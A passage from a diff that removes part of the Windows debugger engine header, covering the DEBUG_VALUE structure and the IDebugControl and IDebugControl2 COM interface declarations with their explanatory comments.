-#define DEBUG_VALUE_INVALID 0
-#define DEBUG_VALUE_INT8 1
-#define DEBUG_VALUE_INT16 2
-#define DEBUG_VALUE_INT32 3
-#define DEBUG_VALUE_INT64 4
-#define DEBUG_VALUE_FLOAT32 5
-#define DEBUG_VALUE_FLOAT64 6
-#define DEBUG_VALUE_FLOAT80 7
-#define DEBUG_VALUE_FLOAT82 8
-#define DEBUG_VALUE_FLOAT128 9
-#define DEBUG_VALUE_VECTOR64 10
-#define DEBUG_VALUE_VECTOR128 11
-// Count of type indices.
-#define DEBUG_VALUE_TYPES 12
-
-#if defined(_MSC_VER)
-#if _MSC_VER >= 800
-#if _MSC_VER >= 1200
-#pragma warning(push)
-#endif
-#pragma warning(disable:4201) /* Nameless struct/union */
-#endif
-#endif
-
-// We want the DEBUG_VALUE structure to have 8-byte alignment
-// and be 32 bytes total. This is tricky because the compiler
-// wants to pad the union of values out to a even 8-byte multiple,
-// pushing the type out too far. We can't use 4-packing because
-// then the 8-byte alignment requirement is lost, so instead
-// we shrink the union to 24 bytes and have a reserved field
-// before the type field. The same amount of space is available
-// and everybody's happy, but the structure is somewhat unusual.
-
-typedef struct _DEBUG_VALUE
-{
- union
- {
- UCHAR I8;
- USHORT I16;
- ULONG I32;
- struct
- {
- // Extra NAT indicator for IA64
- // integer registers. NAT will
- // always be false for other CPUs.
- ULONG64 I64;
- BOOL Nat;
- };
- float F32;
- double F64;
- UCHAR F80Bytes[10];
- UCHAR F82Bytes[11];
- UCHAR F128Bytes[16];
- // Vector interpretations. The actual number
- // of valid elements depends on the vector length.
- UCHAR VI8[16];
- USHORT VI16[8];
- ULONG VI32[4];
- ULONG64 VI64[2];
- float VF32[4];
- double VF64[2];
- struct
- {
- ULONG LowPart;
- ULONG HighPart;
- } I64Parts32;
- struct
- {
- ULONG64 LowPart;
- LONG64 HighPart;
- } F128Parts64;
- // Allows raw byte access to content. Array
- // can be indexed for as much data as Type
- // describes. This array also serves to pad
- // the structure out to 32 bytes and reserves
- // space for future members.
- UCHAR RawBytes[24];
- };
- ULONG TailOfRawBytes;
- ULONG Type;
-} DEBUG_VALUE, *PDEBUG_VALUE;
-
-#if defined(_MSC_VER)
-#if _MSC_VER >= 800
-#if _MSC_VER >= 1200
-#pragma warning(pop)
-#else
-#pragma warning(default:4201) /* Nameless struct/union */
-#endif
-#endif
-#endif
-
-#undef INTERFACE
-#define INTERFACE IDebugControl
-DECLARE_INTERFACE_(IDebugControl, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugControl.
-
- // Checks for a user interrupt, such a Ctrl-C
- // or stop button.
- // This method is reentrant.
- STDMETHOD(GetInterrupt)(
- THIS
- ) PURE;
- // Registers a user interrupt.
- // This method is reentrant.
- STDMETHOD(SetInterrupt)(
- THIS_
- __in ULONG Flags
- ) PURE;
- // Interrupting a user-mode process requires
- // access to some system resources that the
- // process may hold itself, preventing the
- // interrupt from occurring. The engine
- // will time-out pending interrupt requests
- // and simulate an interrupt if necessary.
- // These methods control the interrupt timeout.
- STDMETHOD(GetInterruptTimeout)(
- THIS_
- __out PULONG Seconds
- ) PURE;
- STDMETHOD(SetInterruptTimeout)(
- THIS_
- __in ULONG Seconds
- ) PURE;
-
- STDMETHOD(GetLogFile)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG FileSize,
- __out PBOOL Append
- ) PURE;
- // Opens a log file which collects all
- // output. Output from every client except
- // those that explicitly disable logging
- // goes into the log.
- // Opening a log file closes any log file
- // already open.
- STDMETHOD(OpenLogFile)(
- THIS_
- __in PCSTR File,
- __in BOOL Append
- ) PURE;
- STDMETHOD(CloseLogFile)(
- THIS
- ) PURE;
- // Controls what output is logged.
- STDMETHOD(GetLogMask)(
- THIS_
- __out PULONG Mask
- ) PURE;
- STDMETHOD(SetLogMask)(
- THIS_
- __in ULONG Mask
- ) PURE;
-
- // Input requests input from all clients.
- // The first input that is returned is used
- // to satisfy the call. Other returned
- // input is discarded.
- STDMETHOD(Input)(
- THIS_
- __out_ecount(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG InputSize
- ) PURE;
- // This method is used by clients to return
- // input when it is available. It will
- // return S_OK if the input is used to
- // satisfy an Input call and S_FALSE if
- // the input is ignored.
- // This method is reentrant.
- STDMETHOD(ReturnInput)(
- THIS_
- __in PCSTR Buffer
- ) PURE;
-
- // Sends output through clients
- // output callbacks if the mask is allowed
- // by the current output control mask and
- // according to the output distribution
- // settings.
- STDMETHODV(Output)(
- THIS_
- __in ULONG Mask,
- __in PCSTR Format,
- ...
- ) PURE;
- STDMETHOD(OutputVaList)(
- THIS_
- __in ULONG Mask,
- __in PCSTR Format,
- __in va_list Args
- ) PURE;
- // The following methods allow direct control
- // over the distribution of the given output
- // for situations where something other than
- // the default is desired. These methods require
- // extra work in the engine so they should
- // only be used when necessary.
- STDMETHODV(ControlledOutput)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG Mask,
- __in PCSTR Format,
- ...
- ) PURE;
- STDMETHOD(ControlledOutputVaList)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG Mask,
- __in PCSTR Format,
- __in va_list Args
- ) PURE;
-
- // Displays the standard command-line prompt
- // followed by the given output. If Format
- // is NULL no additional output is produced.
- // Output is produced under the
- // DEBUG_OUTPUT_PROMPT mask.
- // This method only outputs the prompt; it
- // does not get input.
- STDMETHODV(OutputPrompt)(
- THIS_
- __in ULONG OutputControl,
- __in_opt PCSTR Format,
- ...
- ) PURE;
- STDMETHOD(OutputPromptVaList)(
- THIS_
- __in ULONG OutputControl,
- __in_opt PCSTR Format,
- __in va_list Args
- ) PURE;
- // Gets the text that would be displayed by OutputPrompt.
- STDMETHOD(GetPromptText)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG TextSize
- ) PURE;
- // Outputs information about the current
- // debuggee state such as a register
- // summary, disassembly at the current PC,
- // closest symbol and others.
- // Uses the line prefix.
- STDMETHOD(OutputCurrentState)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG Flags
- ) PURE;
-
- // Outputs the debugger and extension version
- // information. This method is reentrant.
- // Uses the line prefix.
- STDMETHOD(OutputVersionInformation)(
- THIS_
- __in ULONG OutputControl
- ) PURE;
-
- // In user-mode debugging sessions the
- // engine will set an event when
- // exceptions are continued. This can
- // be used to synchronize other processes
- // with the debuggers handling of events.
- // For example, this is used to support
- // the e argument to ntsd.
- STDMETHOD(GetNotifyEventHandle)(
- THIS_
- __out PULONG64 Handle
- ) PURE;
- STDMETHOD(SetNotifyEventHandle)(
- THIS_
- __in ULONG64 Handle
- ) PURE;
-
- STDMETHOD(Assemble)(
- THIS_
- __in ULONG64 Offset,
- __in PCSTR Instr,
- __out PULONG64 EndOffset
- ) PURE;
- STDMETHOD(Disassemble)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG Flags,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG DisassemblySize,
- __out PULONG64 EndOffset
- ) PURE;
- // Returns the value of the effective address
- // computed for the last Disassemble, if there
- // was one.
- STDMETHOD(GetDisassembleEffectiveOffset)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- // Uses the line prefix if necessary.
- STDMETHOD(OutputDisassembly)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG64 Offset,
- __in ULONG Flags,
- __out PULONG64 EndOffset
- ) PURE;
- // Produces multiple lines of disassembly output.
- // There will be PreviousLines of disassembly before
- // the given offset if a valid disassembly exists.
- // In all, there will be TotalLines of output produced.
- // The first and last line offsets are returned
- // specially and all lines offsets can be retrieved
- // through LineOffsets. LineOffsets will contain
- // offsets for each line where disassembly started.
- // When disassembly of a single instruction takes
- // multiple lines the initial offset will be followed
- // by DEBUG_INVALID_OFFSET.
- // Uses the line prefix.
- STDMETHOD(OutputDisassemblyLines)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG PreviousLines,
- __in ULONG TotalLines,
- __in ULONG64 Offset,
- __in ULONG Flags,
- __out_opt PULONG OffsetLine,
- __out_opt PULONG64 StartOffset,
- __out_opt PULONG64 EndOffset,
- __out_ecount_opt(TotalLines) PULONG64 LineOffsets
- ) PURE;
- // Returns the offset of the start of
- // the instruction thats the given
- // delta away from the instruction
- // at the initial offset.
- // This routine does not check for
- // validity of the instruction or
- // the memory containing it.
- STDMETHOD(GetNearInstruction)(
- THIS_
- __in ULONG64 Offset,
- __in LONG Delta,
- __out PULONG64 NearOffset
- ) PURE;
-
- // Offsets can be passed in as zero to use the current
- // thread state.
- STDMETHOD(GetStackTrace)(
- THIS_
- __in ULONG64 FrameOffset,
- __in ULONG64 StackOffset,
- __in ULONG64 InstructionOffset,
- __out_ecount(FramesSize) PDEBUG_STACK_FRAME Frames,
- __in ULONG FramesSize,
- __out_opt PULONG FramesFilled
- ) PURE;
- // Does a simple stack trace to determine
- // what the current return address is.
- STDMETHOD(GetReturnOffset)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- // If Frames is NULL OutputStackTrace will
- // use GetStackTrace to get FramesSize frames
- // and then output them. The current register
- // values for frame, stack and instruction offsets
- // are used.
- // Uses the line prefix.
- STDMETHOD(OutputStackTrace)(
- THIS_
- __in ULONG OutputControl,
- __in_ecount_opt(FramesSize) PDEBUG_STACK_FRAME Frames,
- __in ULONG FramesSize,
- __in ULONG Flags
- ) PURE;
-
- // Returns information about the debuggee such
- // as user vs. kernel, dump vs. live, etc.
- STDMETHOD(GetDebuggeeType)(
- THIS_
- __out PULONG Class,
- __out PULONG Qualifier
- ) PURE;
- // Returns the type of physical processors in
- // the machine.
- // Returns one of the IMAGE_FILE_MACHINE values.
- STDMETHOD(GetActualProcessorType)(
- THIS_
- __out PULONG Type
- ) PURE;
- // Returns the type of processor used in the
- // current processor context.
- STDMETHOD(GetExecutingProcessorType)(
- THIS_
- __out PULONG Type
- ) PURE;
- // Query all the possible processor types that
- // may be encountered during this debug session.
- STDMETHOD(GetNumberPossibleExecutingProcessorTypes)(
- THIS_
- __out PULONG Number
- ) PURE;
- STDMETHOD(GetPossibleExecutingProcessorTypes)(
- THIS_
- __in ULONG Start,
- __in ULONG Count,
- __out_ecount(Count) PULONG Types
- ) PURE;
- // Get the number of actual processors in
- // the machine.
- STDMETHOD(GetNumberProcessors)(
- THIS_
- __out PULONG Number
- ) PURE;
- // PlatformId is one of the VER_PLATFORM values.
- // Major and minor are as given in the NT
- // kernel debugger protocol.
- // ServicePackString and ServicePackNumber indicate the
- // system service pack level. ServicePackNumber is not
- // available in some sessions where the service pack level
- // is only expressed as a string. The service pack information
- // will be empty if the system does not have a service pack
- // applied.
- // The build string is string information identifying the
- // particular build of the system. The build string is
- // empty if the system has no particular identifying
- // information.
- STDMETHOD(GetSystemVersion)(
- THIS_
- __out PULONG PlatformId,
- __out PULONG Major,
- __out PULONG Minor,
- __out_ecount_opt(ServicePackStringSize) PSTR ServicePackString,
- __in ULONG ServicePackStringSize,
- __out_opt PULONG ServicePackStringUsed,
- __out PULONG ServicePackNumber,
- __out_ecount_opt(BuildStringSize) PSTR BuildString,
- __in ULONG BuildStringSize,
- __out_opt PULONG BuildStringUsed
- ) PURE;
- // Returns the page size for the currently executing
- // processor context. The page size may vary between
- // processor types.
- STDMETHOD(GetPageSize)(
- THIS_
- __out PULONG Size
- ) PURE;
- // Returns S_OK if the current processor context uses
- // 64-bit addresses, otherwise S_FALSE.
- STDMETHOD(IsPointer64Bit)(
- THIS
- ) PURE;
- // Reads the bugcheck data area and returns the
- // current contents. This method only works
- // in kernel debugging sessions.
- STDMETHOD(ReadBugCheckData)(
- THIS_
- __out PULONG Code,
- __out PULONG64 Arg1,
- __out PULONG64 Arg2,
- __out PULONG64 Arg3,
- __out PULONG64 Arg4
- ) PURE;
-
- // Query all the processor types supported by
- // the engine. This is a complete list and is
- // not related to the machine running the engine
- // or the debuggee.
- STDMETHOD(GetNumberSupportedProcessorTypes)(
- THIS_
- __out PULONG Number
- ) PURE;
- STDMETHOD(GetSupportedProcessorTypes)(
- THIS_
- __in ULONG Start,
- __in ULONG Count,
- __out_ecount(Count) PULONG Types
- ) PURE;
- // Returns a full, descriptive name and an
- // abbreviated name for a processor type.
- STDMETHOD(GetProcessorTypeNames)(
- THIS_
- __in ULONG Type,
- __out_ecount_opt(FullNameBufferSize) PSTR FullNameBuffer,
- __in ULONG FullNameBufferSize,
- __out_opt PULONG FullNameSize,
- __out_ecount_opt(AbbrevNameBufferSize) PSTR AbbrevNameBuffer,
- __in ULONG AbbrevNameBufferSize,
- __out_opt PULONG AbbrevNameSize
- ) PURE;
-
- // Gets and sets the type of processor to
- // use when doing things like setting
- // breakpoints, accessing registers,
- // getting stack traces and so on.
- STDMETHOD(GetEffectiveProcessorType)(
- THIS_
- __out PULONG Type
- ) PURE;
- STDMETHOD(SetEffectiveProcessorType)(
- THIS_
- __in ULONG Type
- ) PURE;
-
- // Returns information about whether and how
- // the debuggee is running. Status will
- // be GO if the debuggee is running and
- // BREAK if it isnt.
- // If no debuggee exists the status is
- // NO_DEBUGGEE.
- // This method is reentrant.
- STDMETHOD(GetExecutionStatus)(
- THIS_
- __out PULONG Status
- ) PURE;
- // Changes the execution status of the
- // engine from stopped to running.
- // Status must be one of the go or step
- // status values.
- STDMETHOD(SetExecutionStatus)(
- THIS_
- __in ULONG Status
- ) PURE;
-
- // Controls what code interpretation level the debugger
- // runs at. The debugger checks the code level when
- // deciding whether to step by a source line or
- // assembly instruction along with other related operations.
- STDMETHOD(GetCodeLevel)(
- THIS_
- __out PULONG Level
- ) PURE;
- STDMETHOD(SetCodeLevel)(
- THIS_
- __in ULONG Level
- ) PURE;
-
- // Gets and sets engine control flags.
- // These methods are reentrant.
- STDMETHOD(GetEngineOptions)(
- THIS_
- __out PULONG Options
- ) PURE;
- STDMETHOD(AddEngineOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(RemoveEngineOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(SetEngineOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
-
- // Gets and sets control values for
- // handling system error events.
- // If the system error level is less
- // than or equal to the given levels
- // the error may be displayed and
- // the default break for the event
- // may be set.
- STDMETHOD(GetSystemErrorControl)(
- THIS_
- __out PULONG OutputLevel,
- __out PULONG BreakLevel
- ) PURE;
- STDMETHOD(SetSystemErrorControl)(
- THIS_
- __in ULONG OutputLevel,
- __in ULONG BreakLevel
- ) PURE;
-
- // The command processor supports simple
- // string replacement macros in Evaluate and
- // Execute. There are currently ten macro
- // slots available. Slots 0-9 map to
- // the command invocations $u0-$u9.
- STDMETHOD(GetTextMacro)(
- THIS_
- __in ULONG Slot,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG MacroSize
- ) PURE;
- STDMETHOD(SetTextMacro)(
- THIS_
- __in ULONG Slot,
- __in PCSTR Macro
- ) PURE;
-
- // Controls the default number radix used
- // in expressions and commands.
- STDMETHOD(GetRadix)(
- THIS_
- __out PULONG Radix
- ) PURE;
- STDMETHOD(SetRadix)(
- THIS_
- __in ULONG Radix
- ) PURE;
-
- // Evaluates the given expression string and
- // returns the resulting value.
- // If DesiredType is DEBUG_VALUE_INVALID then
- // the natural type is used.
- // RemainderIndex, if provided, is set to the index
- // of the first character in the input string that was
- // not used when evaluating the expression.
- STDMETHOD(Evaluate)(
- THIS_
- __in PCSTR Expression,
- __in ULONG DesiredType,
- __out PDEBUG_VALUE Value,
- __out_opt PULONG RemainderIndex
- ) PURE;
- // Attempts to convert the input value to a value
- // of the requested type in the output value.
- // Conversions can fail if no conversion exists.
- // Successful conversions may be lossy.
- STDMETHOD(CoerceValue)(
- THIS_
- __in PDEBUG_VALUE In,
- __in ULONG OutType,
- __out PDEBUG_VALUE Out
- ) PURE;
- STDMETHOD(CoerceValues)(
- THIS_
- __in ULONG Count,
- __in_ecount(Count) PDEBUG_VALUE In,
- __in_ecount(Count) PULONG OutTypes,
- __out_ecount(Count) PDEBUG_VALUE Out
- ) PURE;
-
- // Executes the given command string.
- // If the string has multiple commands
- // Execute will not return until all
- // of them have been executed. If this
- // requires waiting for the debuggee to
- // execute an internal wait will be done
- // so Execute can take an arbitrary amount
- // of time.
- STDMETHOD(Execute)(
- THIS_
- __in ULONG OutputControl,
- __in PCSTR Command,
- __in ULONG Flags
- ) PURE;
- // Executes the given command file by
- // reading a line at a time and processing
- // it with Execute.
- STDMETHOD(ExecuteCommandFile)(
- THIS_
- __in ULONG OutputControl,
- __in PCSTR CommandFile,
- __in ULONG Flags
- ) PURE;
-
- // Breakpoint interfaces are described
- // elsewhere in this section.
- STDMETHOD(GetNumberBreakpoints)(
- THIS_
- __out PULONG Number
- ) PURE;
- // It is possible for this retrieval function to
- // fail even with an index within the number of
- // existing breakpoints if the breakpoint is
- // a private breakpoint.
- STDMETHOD(GetBreakpointByIndex)(
- THIS_
- __in ULONG Index,
- __out PDEBUG_BREAKPOINT* Bp
- ) PURE;
- STDMETHOD(GetBreakpointById)(
- THIS_
- __in ULONG Id,
- __out PDEBUG_BREAKPOINT* Bp
- ) PURE;
- // If Ids is non-NULL the Count breakpoints
- // referred to in the Ids array are returned,
- // otherwise breakpoints from index Start to
- // Start + Count 1 are returned.
- STDMETHOD(GetBreakpointParameters)(
- THIS_
- __in ULONG Count,
- __in_ecount_opt(Count) PULONG Ids,
- __in ULONG Start,
- __out_ecount(Count) PDEBUG_BREAKPOINT_PARAMETERS Params
- ) PURE;
- // Breakpoints are created empty and disabled.
- // When their parameters have been set they
- // should be enabled by setting the ENABLE flag.
- // If DesiredId is DEBUG_ANY_ID then the
- // engine picks an unused ID. If DesiredId
- // is any other number the engine attempts
- // to use the given ID for the breakpoint.
- // If another breakpoint exists with that ID
- // the call will fail.
- STDMETHOD(AddBreakpoint)(
- THIS_
- __in ULONG Type,
- __in ULONG DesiredId,
- __out PDEBUG_BREAKPOINT* Bp
- ) PURE;
- // Breakpoint interface is invalid after this call.
- STDMETHOD(RemoveBreakpoint)(
- THIS_
- __in PDEBUG_BREAKPOINT Bp
- ) PURE;
-
- // Control and use extension DLLs.
- STDMETHOD(AddExtension)(
- THIS_
- __in PCSTR Path,
- __in ULONG Flags,
- __out PULONG64 Handle
- ) PURE;
- STDMETHOD(RemoveExtension)(
- THIS_
- __in ULONG64 Handle
- ) PURE;
- STDMETHOD(GetExtensionByPath)(
- THIS_
- __in PCSTR Path,
- __out PULONG64 Handle
- ) PURE;
- // If Handle is zero the extension
- // chain is walked searching for the
- // function.
- STDMETHOD(CallExtension)(
- THIS_
- __in ULONG64 Handle,
- __in PCSTR Function,
- __in_opt PCSTR Arguments
- ) PURE;
- // GetExtensionFunction works like
- // GetProcAddress on extension DLLs
- // to allow raw function-call-level
- // interaction with extension DLLs.
- // Such functions do not need to
- // follow the standard extension prototype
- // if they are not going to be called
- // through the text extension interface.
- // _EFN_ is automatically prepended to
- // the name string given.
- // This function cannot be called remotely.
- STDMETHOD(GetExtensionFunction)(
- THIS_
- __in ULONG64 Handle,
- __in PCSTR FuncName,
- __out FARPROC* Function
- ) PURE;
- // These methods return alternate
- // extension interfaces in order to allow
- // interface-style extension DLLs to mix in
- // older extension calls.
- // Structure sizes must be initialized before
- // the call.
- // These methods cannot be called remotely.
- STDMETHOD(GetWindbgExtensionApis32)(
- THIS_
- __inout PWINDBG_EXTENSION_APIS32 Api
- ) PURE;
- STDMETHOD(GetWindbgExtensionApis64)(
- THIS_
- __inout PWINDBG_EXTENSION_APIS64 Api
- ) PURE;
-
- // The engine provides a simple mechanism
- // to filter common events. Arbitrarily complicated
- // filtering can be done by registering event callbacks
- // but simple event filtering only requires
- // setting the options of one of the predefined
- // event filters.
- // Simple event filters are either for specific
- // events and therefore have an enumerant or
- // they are for an exception and are based on
- // the exceptions code. Exception filters
- // are further divided into exceptions specially
- // handled by the engine, which is a fixed set,
- // and arbitrary exceptions.
- // All three groups of filters are indexed together
- // with the specific filters first, then the specific
- // exception filters and finally the arbitrary
- // exception filters.
- // The first specific exception is the default
- // exception. If an exception event occurs for
- // an exception without settings the default
- // exception settings are used.
- STDMETHOD(GetNumberEventFilters)(
- THIS_
- __out PULONG SpecificEvents,
- __out PULONG SpecificExceptions,
- __out PULONG ArbitraryExceptions
- ) PURE;
- // Some filters have descriptive text associated with them.
- STDMETHOD(GetEventFilterText)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG TextSize
- ) PURE;
- // All filters support executing a command when the
- // event occurs.
- STDMETHOD(GetEventFilterCommand)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG CommandSize
- ) PURE;
- STDMETHOD(SetEventFilterCommand)(
- THIS_
- __in ULONG Index,
- __in PCSTR Command
- ) PURE;
- STDMETHOD(GetSpecificFilterParameters)(
- THIS_
- __in ULONG Start,
- __in ULONG Count,
- __out_ecount(Count) PDEBUG_SPECIFIC_FILTER_PARAMETERS Params
- ) PURE;
- STDMETHOD(SetSpecificFilterParameters)(
- THIS_
- __in ULONG Start,
- __in ULONG Count,
- __in_ecount(Count) PDEBUG_SPECIFIC_FILTER_PARAMETERS Params
- ) PURE;
- // Some specific filters have arguments to further
- // qualify their operation.
- STDMETHOD(GetSpecificFilterArgument)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG ArgumentSize
- ) PURE;
- STDMETHOD(SetSpecificFilterArgument)(
- THIS_
- __in ULONG Index,
- __in PCSTR Argument
- ) PURE;
- // If Codes is non-NULL Start is ignored.
- STDMETHOD(GetExceptionFilterParameters)(
- THIS_
- __in ULONG Count,
- __in_ecount_opt(Count) PULONG Codes,
- __in ULONG Start,
- __out_ecount(Count) PDEBUG_EXCEPTION_FILTER_PARAMETERS Params
- ) PURE;
- // The codes in the parameter data control the application
- // of the parameter data. If a code is not already in
- // the set of filters it is added. If the ExecutionOption
- // for a code is REMOVE then the filter is removed.
- // Specific exception filters cannot be removed.
- STDMETHOD(SetExceptionFilterParameters)(
- THIS_
- __in ULONG Count,
- __in_ecount(Count) PDEBUG_EXCEPTION_FILTER_PARAMETERS Params
- ) PURE;
- // Exception filters support an additional command for
- // second-chance events.
- STDMETHOD(GetExceptionFilterSecondCommand)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG CommandSize
- ) PURE;
- STDMETHOD(SetExceptionFilterSecondCommand)(
- THIS_
- __in ULONG Index,
- __in PCSTR Command
- ) PURE;
-
- // Yields processing to the engine until
- // an event occurs. This method may
- // only be called by the thread that started
- // the debug session.
- // When an event occurs the engine carries
- // out all event processing such as calling
- // callbacks.
- // If the callbacks indicate that execution should
- // break the wait will return, otherwise it
- // goes back to waiting for a new event.
- // If the timeout expires, S_FALSE is returned.
- // The timeout is not currently supported for
- // kernel debugging.
- STDMETHOD(WaitForEvent)(
- THIS_
- __in ULONG Flags,
- __in ULONG Timeout
- ) PURE;
-
- // Retrieves information about the last event that occurred.
- // EventType is one of the event callback mask bits.
- // ExtraInformation contains additional event-specific
- // information. Not all events have additional information.
- STDMETHOD(GetLastEventInformation)(
- THIS_
- __out PULONG Type,
- __out PULONG ProcessId,
- __out PULONG ThreadId,
- __out_bcount_opt(ExtraInformationSize) PVOID ExtraInformation,
- __in ULONG ExtraInformationSize,
- __out_opt PULONG ExtraInformationUsed,
- __out_ecount_opt(DescriptionSize) PSTR Description,
- __in ULONG DescriptionSize,
- __out_opt PULONG DescriptionUsed
- ) PURE;
-};
-
-// OutputTextReplacements flags.
-#define DEBUG_OUT_TEXT_REPL_DEFAULT 0x00000000
-
-#undef INTERFACE
-#define INTERFACE IDebugControl2
-DECLARE_INTERFACE_(IDebugControl2, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugControl.
-
- // Checks for a user interrupt, such a Ctrl-C
- // or stop button.
- // This method is reentrant.
- STDMETHOD(GetInterrupt)(
- THIS
- ) PURE;
- // Registers a user interrupt.
- // This method is reentrant.
- STDMETHOD(SetInterrupt)(
- THIS_
- __in ULONG Flags
- ) PURE;
- // Interrupting a user-mode process requires
- // access to some system resources that the
- // process may hold itself, preventing the
- // interrupt from occurring. The engine
- // will time-out pending interrupt requests
- // and simulate an interrupt if necessary.
- // These methods control the interrupt timeout.
- STDMETHOD(GetInterruptTimeout)(
- THIS_
- __out PULONG Seconds
- ) PURE;
- STDMETHOD(SetInterruptTimeout)(
- THIS_
- __in ULONG Seconds
- ) PURE;
-
- STDMETHOD(GetLogFile)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG FileSize,
- __out PBOOL Append
- ) PURE;
- // Opens a log file which collects all
- // output. Output from every client except
- // those that explicitly disable logging
- // goes into the log.
- // Opening a log file closes any log file
- // already open.
- STDMETHOD(OpenLogFile)(
- THIS_
- __in PCSTR File,
- __in BOOL Append
- ) PURE;
- STDMETHOD(CloseLogFile)(
- THIS
- ) PURE;
- // Controls what output is logged.
- STDMETHOD(GetLogMask)(
- THIS_
- __out PULONG Mask
- ) PURE;
- STDMETHOD(SetLogMask)(
- THIS_
- __in ULONG Mask
- ) PURE;
-
- // Input requests input from all clients.
- // The first input that is returned is used
- // to satisfy the call. Other returned
- // input is discarded.
- STDMETHOD(Input)(
- THIS_
- __out_ecount(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG InputSize
- ) PURE;
- // This method is used by clients to return
- // input when it is available. It will
- // return S_OK if the input is used to
- // satisfy an Input call and S_FALSE if
- // the input is ignored.
- // This method is reentrant.
- STDMETHOD(ReturnInput)(
- THIS_
- __in PCSTR Buffer
- ) PURE;
-
- // Sends output through clients
- // output callbacks if the mask is allowed
- // by the current output control mask and
- // according to the output distribution
- // settings.
- STDMETHODV(Output)(
- THIS_
- __in ULONG Mask,
- __in PCSTR Format,
- ...
- ) PURE;
- STDMETHOD(OutputVaList)(
- THIS_
- __in ULONG Mask,
- __in PCSTR Format,
- __in va_list Args
- ) PURE;
- // The following methods allow direct control
- // over the distribution of the given output
- // for situations where something other than
- // the default is desired. These methods require
- // extra work in the engine so they should
- // only be used when necessary.
- STDMETHODV(ControlledOutput)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG Mask,
- __in PCSTR Format,
- ...
- ) PURE;
- STDMETHOD(ControlledOutputVaList)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG Mask,
- __in PCSTR Format,
- __in va_list Args
- ) PURE;
-
- // Displays the standard command-line prompt
- // followed by the given output. If Format
- // is NULL no additional output is produced.
- // Output is produced under the
- // DEBUG_OUTPUT_PROMPT mask.
- // This method only outputs the prompt; it
- // does not get input.
- STDMETHODV(OutputPrompt)(
- THIS_
- __in ULONG OutputControl,
- __in_opt PCSTR Format,
- ...
- ) PURE;
- STDMETHOD(OutputPromptVaList)(
- THIS_
- __in ULONG OutputControl,
- __in_opt PCSTR Format,
- __in va_list Args
- ) PURE;
- // Gets the text that would be displayed by OutputPrompt.
- STDMETHOD(GetPromptText)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG TextSize
- ) PURE;
- // Outputs information about the current
- // debuggee state such as a register
- // summary, disassembly at the current PC,
- // closest symbol and others.
- // Uses the line prefix.
- STDMETHOD(OutputCurrentState)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG Flags
- ) PURE;
-
- // Outputs the debugger and extension version
- // information. This method is reentrant.
- // Uses the line prefix.
- STDMETHOD(OutputVersionInformation)(
- THIS_
- __in ULONG OutputControl
- ) PURE;
-
- // In user-mode debugging sessions the
- // engine will set an event when
- // exceptions are continued. This can
- // be used to synchronize other processes
- // with the debuggers handling of events.
- // For example, this is used to support
- // the e argument to ntsd.
- STDMETHOD(GetNotifyEventHandle)(
- THIS_
- __out PULONG64 Handle
- ) PURE;
- STDMETHOD(SetNotifyEventHandle)(
- THIS_
- __in ULONG64 Handle
- ) PURE;
-
- STDMETHOD(Assemble)(
- THIS_
- __in ULONG64 Offset,
- __in PCSTR Instr,
- __out PULONG64 EndOffset
- ) PURE;
- STDMETHOD(Disassemble)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG Flags,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG DisassemblySize,
- __out PULONG64 EndOffset
- ) PURE;
- // Returns the value of the effective address
- // computed for the last Disassemble, if there
- // was one.
- STDMETHOD(GetDisassembleEffectiveOffset)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- // Uses the line prefix if necessary.
- STDMETHOD(OutputDisassembly)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG64 Offset,
- __in ULONG Flags,
- __out PULONG64 EndOffset
- ) PURE;
- // Produces multiple lines of disassembly output.
- // There will be PreviousLines of disassembly before
- // the given offset if a valid disassembly exists.
- // In all, there will be TotalLines of output produced.
